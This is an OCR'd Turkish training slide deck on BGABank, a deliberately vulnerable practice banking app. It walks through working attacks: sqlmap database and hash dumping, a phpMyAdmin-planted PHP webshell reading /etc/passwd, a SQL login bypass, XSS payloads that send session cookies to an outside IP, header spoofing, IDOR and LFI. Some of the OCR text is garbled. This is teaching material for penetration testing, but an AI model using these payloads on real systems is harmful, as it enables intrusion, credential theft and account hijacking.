.

BGABANK - Vulnerable Web App

Huzeyfe ONAL & Celal ERDIK

Huzeyfe ONAL: Celal Erdik:

Kurumsal Web: Kurumsal Web:
http://www.bga.com.tr http://www.bga.com.tr

Kisisel Blog: Kisisel Blog:
http://www.lifeoverip.net http://www.networkpentest.net
lletisim: lletisim:
huzeyfe.onal@bga.com.tr celal.erdik@bga.com.tr
Huzeyfe.onal@gmail.com fc.erdik@gmail.com



BgaBank Hakkinda

Vulnerable Banka internet Subesi Uygulamasi
IPS,WAF ve Gulvenlik duvarsiz erisim kullanim imkani
- Waftest.bgabank.com
- [pstest.bgabank.com
- www.bgabank.com
50+ teknik ve mantiksal web uygulama acikhgi

Linux sistem Uzerinde hosting.



Sik Gorulen Acikliklar

Cross site scripting

Sql Injection

Session management / Login Bypass
IDOR — Insecure direct object referance

CSRF

Mantiksal acikliklar(Baska hesaptan havale, kur degisimi vs.)



SQL Injection Nedir?

Girdi kontrolunin saglikh yapilmamasindan kaynaklanir.
Mevcut SQL cimlecigininin degistirilmesine imkan saglar

SQL Injection;

# Saldirganlar icin en popliler,

7 Gelistiriciler icin en bilindik,

2 s sahipleriicin en tehlikeli acikhktr.

Hedef veritabaninda uygulama yolu ile yetkisiz olarak sql
sorgularinin calistirilabilmesidir.



Sql Injection —Sik gorulen cesitleri

Sik Gorulen SQL Injection turleri;

7

A N N3N

Error based (Hata mesaijlari ile ilerleme)

Blind (Mantiksal ifadeler )

Boolean based (Matematiksel ifadeler)

Time based (waitfor delay, sleep fonk. Zaman tabanli sorgular)
Stack based (Kendi sgl sorgunuzu insert)



Sql Injection — Neler yapilabilir

Veritabani Gzerinde tam hakimiyet;
2 Insert

72 Update

2 Delete

Hedef isletim sistemi ele gecirme
2  Mssgl — xp_cmdshell
72 Mysgl — Webshell, phpmyadmin

Meterpreter oturumu ile isletim sistemi Gzerinde tam kontrol



Sql Injection — Manuel tespit

71 Error based sql injection manuel test

71 http://isube.bgabank.com/index.php?
sayfa=arama.php&sl=test"&s2=

(- & isube.bgabank.com/index.php?sayfa=arama.php&si=test*&s2= c @ Q, Search

Anasayfa Girig Bagvuru Ziyaretgi Defteri lletigim

¢ é) BGA BANK Arama Sonuclart "test™"

CVLEVCE N TR g (e 1 =Y icheck the manual that corresponds to your MySQL

z to use near '%" OR syf_icerik LIKE "%test"%" at line 1
Bireysel

Aradiginiz Kayit Bulunamadi!

Kobi




Sql Injection — Exploit etme

.J/sglmap.py -u "http://isube.bgabank.com/index.php?
sayfa=arama.php&sl=test&s2=" -p s1 --dbms=mysql --
technique E --risk 3 --level 3 --flush-session --dbs

[15:22:54] [INFO] GET parameter 'sl' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
GET parameter 'sl' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n

available databases [6]:
[*] bga_bank_4_0

[*] honeypot

[*] information_schema
[*] mysql

[*] performance_schema
[*] phpmyadmin



Sql Injection — root parolasi alma

.J/sglmap.py -u "http://isube.bgabank.com/index.php?
sayfa=arama.php&sl=test&s2=" -p s1 --dbms=mysql --
technique E --risk 3 --level 3 --dbs --current-user —passwords

current user: 'root@localhost’

[15:26:49] [INFO] fetching database users password hashes

[15:26:50] [INFO] the SQL query used returns 7 entries

[15:26:50] [INFO] retrieved:

[15:26:51] [INFO] retrieved: *FAAFFE644ES01CFAFAEC7562415E5FAEC243B8B2
[15:26:51] [INFO] retrieved: root

Go Sle FAAFFE644E901 CFAFAEC7562415E5FAEC243B8B2 mn

Web Gorseller Videolar Haberler Daha fazla ~ Arama araglan

Yaklasik 65 sonug bulundu (0,29 saniye)

293 - ®opym AHTUNYHAT - Pacwuumdpposka hash. Part3 (DES, M...

forum.antichat.ru/printthread.php?t...293... ¥ Bu sayfanin gevirisini yap
22 Eki 2012 - 40 gonderi - 6 yazar

faaffe644e901cfafaec7562415e5faec243b8b2:root123



Sql Injection — Isletim Sistemi ele gecirme

721 Wfuzz,dirb ile phpmyadmin arabirimi bulunabilir.

= C7lServer: localhost

| Databases [ SQL (§, Status = Users |[& Export =} Import J” Settings [ R

~— Run SQL query/queries on server "localhost": & }

| select "<?php passthru($ REQUEST('cmd']); ?>" into outfile "/var/www/isube/uploads/shell.php";

™ 7 Server: localhost

| Databases || SQL (§, Status =- Users |« Export =} Import ° Settings

« Your SQL query has been executed successfully (Query took 0.0008 sec)




Sql Injection —Webshell komut calistirma

(- P isube.bgabank.com/uploads/shell.php?cmd=hostname c
BGABank.com
(' & isube.bgabank.com/uploads/shell.php?cmd=uname -mrs c

Linux 3.13.0-24-generic x86_64

(- ¥ isube.bgabank.com/uploads/shell.php?cmd=cat /etc/passwd c

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nc
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:1
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy
/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Mana
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:n
syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false landscape:x:103:10
/nologin colord:x:105:113:colord colour management daemon,,,./var/lib/colord:/bin/false mysql:x:106:115:My
dovecot:x:108:117:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false dovenull:x:109:118:Dovecot login user,,,:

™ 1 4 4 4« 4 nq n - e 1 494N a9 M « ¥YNM 0 n I n



Sql Injection — Login Formu Atlatma

‘__l ) L E 1 E 1 b 1

Misteri Giris Paneli

|7] Request to http:/fisube.bgabank.com:80 [107.170.157.8)

| Forward I Drop | | Interceptis on | | Action J

Miisteri Numaranuzt ve Sifrenizi Giriniz. | (R Params [readers [Hex |

POST /giris.aspx HTTP/1.1

Mugteri No : 10000659 Host: isube.bgabank.com
User-Agent: Mozilla/5.0 {(Macintosh; Intel Mac OS X 10.1
Accept: text/html,application/xhtml+xml, application/xml
Sifreniz : cesens Accept-Language: en-US,en;g=0.5

Aeccept-Encoding: gzip, deflate

Referer: http://isube.bgabank.com/giris.aspx

Cookie: _ cfduid=d0bc040130519df2c9d3ccd221742053014184
PHPSESSID=0d3aaacatist9tiswvfllol2im2; guest=TRUE
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

—— Content-Length: 38
Sifremi Unuttum

b musterino=" OR 2=2#&b password=123456

Beni Hatirla

& 0 isube.bgabank.com o

™ | Mustafa Balaban Islemler Ziyaretgi Defteri lletigim

= Hesap Bilgilerim = Mdusteri Bilgilerim
= Guavenlik Ayarlan = Sifre Degistirme
= Mesajlar = Kartlanm

= Cikig Bankacilik !

ank Sistemi



XSS(Cross Site Scripting) Nedir?

Girdinin Uzerinde bir kontrol yapilmadan ayni veya baska bir
kullaniciya yansitilmasi

Html/dhtml/css veya javascript kodunun izinsiz olarak kurbanin
tarayicisinda calistiriimasidir.

Ug genel XSS ¢esidi mevcuttur;
? Reflected

A Stored

7”2 DOM Based



Reflected XSS — Oturum elde etme

Url: isube.bgabank.com/index.php?sayfa=arama.php&s1=&s2=

Payload: "><Script>document.location="http://85.95.238.172/
test.php?cookie='+document.cookie;<Script>

Apache access loglarindan kullanici cookie bilgisi alinabilir.

root@bgakali:é# cat /var/log/apache2/access.log | grep test
176.219.167.35 - - [05/]an/2015:00:08:08 +0200] "GET /test.php?cookie=PHPSESSID=@d3aaacabi5t9ti8vfl1012im2;%20guest=FALSE

.bgabank.com/index.php?sayfa=arama.php&s1=%22%3E%3CScript%3Edocument. location%3D%27http%3A%2F%2F85.95.238.172%2Ftest.php%
%3B%3C%2FScript%3E&s2=" "Mozilla/5.@ (Macintosh; Intel Mac 0S X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0"



Reflected XSS — Oturum elde etme

Cookie manager ile elde edilen cookie sisteme eklenerek
kullanici oturumu alinabilir.

Ad: PHPSESSID Ad: guest
Icerik: 0d3aaacabi5toti8vfli0I2im2 Icerik: FALSE
Ana makine: isube.bgabank.com Ana makine: isube.bgabank.com
(—_ ¥ 1sube.bgabank.com/=

Anasayfa W Mustafa Balaban Islemler Ziyaretci Deften lletisim

= Hesap Bilgilenm = Masten Bilgilenm
= Gavenlik Ayarlan = Sifre Degistirme
= Mesajlar = Kartlanm

= Cikis

Bireysel

Mobil Internet Tamamen Ucretsiz




Stored Xss — MT Oturumu alma

Musteri temsilcisine mesaj gonderirken olmasi durumunda (!)

Yeni Mesaj Gonder

Temsilciniz, Ozan Ugar
Konu : Sikayet j

Mesaj : "><Script>document.location="http
://85.95.238.172
/test .php?cookie="+document.cooki
e</Script>

rootéb;akali:/var/www# cat test.php

<?php

header('Location: http://isube.bgabank.com/"');
7>



Stored XSS — MT Oturumu alma

’

root@bgakalii~# cat /var/log/apache2/access.log | grep is_admin
176,219,167,35 - - [05/Jan/2015:00:41:50 +6206] "GET /test.php?cookie=PHPSESSID=7Thé8henhubnfeerljrtkn7np96;%20is_adnin=true
be. baabank, com/mesailar.asox?is\en=nesaiokusmesailD=6" "Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0"
Ad: [V] PHPSESSID
Igerik: 7h08hemhubnfeerljrtkm7mp96

Ana makine: isube.bgabank.com

Ad: is_admin
Icerik: [v] true
Ana makine: isube.bgabank.com

= 0 isube.bgabank.com

£ A 0zan Ucar Banka islemleri Miisteri Islemleri Ziyaretci Deften

Yonetim Paneli



User Agent - Kisitlamalarn Atlatma

Havale/EFT islemlerinde mobil uygulamalardan yapilmasi
durumunda havale/eft Gicreti alinmama hizmeti suistimal

edilebilir.

User agent mobil olarak degistirilip bu vb. kisitlamalar
gecilebilir.

Yine ayni sekilde mobil uygulamalarda login formunda captcha
ctkmamasi durumunda mobil bir user agent ile sistemde kaba

kuvvet saldirilari gerceklestirilebilir.



X-Forwarde-For IP Restriction Atlatma

71 X-forwarded-for baslik bilgisine gore kontrol edilmisse atlatmak

mumkinddar.

Miisteri Numaranuzt ve Sifrenizi Giriniz.

Musteri No : 10000660

Sifreniz : sscese

Beni Hatirla

Sifremi Unuttum

X Sisteme Erisme Hakkiniz Yoktur. Hesabiniza SEGLEICCR: LR L a0 b pr 3 ol Ve [ X1 Te T g W S = o1 [T g 1

v

_[ Raw T Params T Headers T Hex ]

POST /giris.aspx HTTP/1.1

Host: isube.bgabank.com

E-Forwarded-For:85.95.238.172

User-Agent: Mozilla/5.0 {(Macintosh; Intel Mac OS5 ¥ 10.10; rwv:34
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://isube.bgabank.com/giris.aspx

Cookie: _ cfduid=d0bc040130519df2c9d3ccd22174e05301418468565; k
PHPSESSID=0cd3aaaca6ist9tigvfllol2im2; guest=TRUE

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

b musterino=10000660&b password=100057




IDOR — Insecure Direct Object Ref.

http://isube.bgabank.com/profil.aspx?musterilD=56

baglantisi Uzerinde musterilD parametresindeki deger degistirilerek
diger musterilere ait bilgiler elde edilebilmektedir.

Ad : sinan
Soyad: : talay
Telefon : (354) 234 23 42

Adres - test adrestri

" ougieet Garcee



Dizin Dolasma/LFI — Local File Inclusion

7 Local dosyayi kaynak koda dahil ederek iceriginin
goruntulenmesi, dizin dolasarak local dosya bulma.

€ | @ isube.bgabank.com/index.php?sayfa=. /../../../././../../etc/passwd&s1=test&s2= ¢ @ Q search OB 3

Anasayfa £ A Cengiz Aydemir Islemler  Ziyaretgi Defteri lletigim

= root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
f B) BGA BANK sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
Bilai Giivenligin Bankasi man:x:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:|p:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin
- Inologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

g;oxy:x:13:13:proxy:/bin:lusr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
ckup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin
/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:1 4::lhome/skgslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false landscape:x:103:109::/var
fNlib/landscape:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin colord:x:105:113:colord colour management
Kobi daemon,,,:/var/lib/colord:/bin/false mysql:x:106:115:MySQL Server,,,:/nonexistent:/bin/false bind:x:107:116::/var/cache/bind:
L /bin/false dovecot:x:108:117:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false dovenull:x:109:118:Dovecot login
user,,,:/nonexistent:/bin/false bgasecurity:x:0:0:,,,:/home/bgasecurity:/bin/bash Debian-exim:x:111:121::/var/spool/exim4:
/bin/false snort:x:112:123:Snort IDS:/var/log/snort:/bin/false cagri:x:0:0:,,,:/home/cagri:/bin/bash iodine:x:113:65534::/var
Irunfiodine:/bin/false ksm:x:1000:1002:,,,:/home/ksm:/bin/bash bga21:x:1001:1003:,,,:/home/bga21:/bin/bash
8 Ay ; ossec:x:1002:1004::/var/ossec:/bin/false ossecm:x:1003:1004::/var/ossec:/bin/false ossecr:x:1004:1004::/var/ossec:/bin/false
Saldin Istatistikleri ceylan:x:0:0:,,,:/home/ceylan:/bin/bash stunneld:x:114:124::/var/run/stunneld:/bin/false tomcat6:x:115:125::/usr/share
ftomcat6:/bin/false postfix:x:110:119::/var/spool/postfix:/bin/false yahya:x:0:0:,,,:/home/yahya:/bin/bash
celal:x:1005:1007:celal,,,:/home/celal:/bin/bash

Bireysel

Parametre Deger

Kayith Kullanici 10



Mantiksal Aciklik— Doviz kuru degistirme

Doviz Al

Hesaplamalar glincel kur tablosunda belirtilen alig fiyatlari Gzerinden yapilacaktir.

Ddviz Alim islemi

Odeme : - Seginiz - j
Kur Tipi : EUR/USD ;I
Miktar : 1000 . 0o
Tutar : 1381.300 L



Mantiksal Aciklik — Doviz kuru degistirme

@ Request to http://isube.bgabank.com:80 [107.170.157.8)

| Forward | | Drop | " Interceptis on | | Action |

_[ RawT Params T Headers T Hex ]

3ET /ajax.php?sayfa=doviz-al.php&kl=4&k2=dollar&k3=1000 HTTP/1.1
Host: isube.bgabank.com

v Doviz alma igleminiz basariyla gergeklesmigtir.



HPP — Http Parameter Pollution

71 Bir parametrenin birden ¢cok kez kullanimi, veya farkl
parametre datalarinin birlestirilmesi

| (- @ isube.bgabank.com/index.php?sayfa=arama.php&s1="><img src=ab onerror=al&s2=ert(1)>




Dinlediginiz Icin Tesekkirler




